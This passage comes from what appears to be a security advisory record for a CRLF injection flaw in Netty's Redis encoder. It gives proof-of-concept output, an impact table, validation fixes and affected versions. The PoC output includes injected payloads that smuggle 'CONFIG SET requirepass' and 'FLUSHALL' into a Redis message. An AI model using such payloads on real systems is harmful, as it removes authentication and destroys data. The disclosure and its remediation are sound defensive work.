\"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput: InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n Command 1: PING\n Command 2: CONFIG SET requirepass \"\"\n Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput: SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput: ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n for (int i = 0; i < content.length(); i++) {\n char c = content.charAt(i);\n if (c == '\\r' || c == '\\n') {\n throw new IllegalArgumentException(\n \"Redis message content contains illegal CRLF character at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List<Object> out) {\n for (int i = 0; i < content.length(); i++) {\n char c = content.charAt(i);\n if (c == '\\r' || c == '\\n') {\n throw new RedisCodecException(\n \"Redis message content contains CRLF at index \" + i);\n }\n }\n // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-redis"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.2.0.Alpha1"
}, {
"fixed" : "4.2.13.Final"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.2.12.Final"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-redis"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.133.Final"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.132.Final"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/netty/netty"
}, {
"type" : "WEB",
"url" : "https://redis.io/docs/reference/protocol-spec"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-93" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T00:24:08Z",
"nvd_published_at" : "2026-05-13T19:17:24Z"
}
}